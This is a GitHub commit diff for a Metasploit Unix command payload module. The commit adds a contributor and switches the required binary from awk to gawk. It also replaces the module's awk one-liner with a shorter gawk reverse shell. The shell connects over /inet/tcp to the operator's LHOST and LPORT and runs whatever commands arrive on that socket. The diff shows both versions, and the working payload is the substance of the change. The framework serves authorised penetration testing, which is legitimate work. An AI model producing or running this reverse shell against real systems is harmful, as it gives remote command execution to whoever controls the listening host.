File tree Expand file tree Collapse file tree 1 file changed +4
-3
lines changed
modules/payloads/singles/cmd/unix Expand file tree Collapse file tree 1 file changed +4
-3
lines changed Original file line number Diff line number Diff line change @@ -22,15 +22,16 @@ def initialize(info = {})
2222 'Author' =>
2323 [
2424 'espreto <robertoespreto[at]gmail.com>' ,
25- 'Ulisses Castro <uss.thebug[at]gmail.com>'
25+ 'Ulisses Castro <uss.thebug[at]gmail.com>' ,
26+ 'Gabriel Quadros <gquadrossilva[at]gmail.com>'
2627 ] ,
2728 'License' => MSF_LICENSE ,
2829 'Platform' => 'unix' ,
2930 'Arch' => ARCH_CMD ,
3031 'Handler' => Msf ::Handler ::ReverseTcp ,
3132 'Session' => Msf ::Sessions ::CommandShell ,
3233 'PayloadType' => 'cmd' ,
33- 'RequiredCmd' => 'awk ' ,
34+ 'RequiredCmd' => 'gawk ' ,
3435 'Payload' =>
3536 {
3637 'Offsets' => { } ,
@@ -50,7 +51,7 @@ def generate
5051 # Returns the command string to use for execution
5152 #
5253 def command_string
53- "awk 'BEGIN{s=\" /inet/tcp/0/#{ datastore [ 'LHOST' ] } /#{ datastore [ 'LPORT' ] } \" ;while(1){printf \" shell> \" |& s;s |&getline c;if (c){while(( c|& getline)>0){ print $0|& s}close(c);} }}'"
54+ "awk 'BEGIN{for( s=\" /inet/tcp/0/#{ datastore [ 'LHOST' ] } /#{ datastore [ 'LPORT' ] } \" ;s |&getline c;close (c)) {while(c|& getline)print $0|& s}}'"
5455 end
5556
5657end
You can’t perform that action at this time.
0 commit comments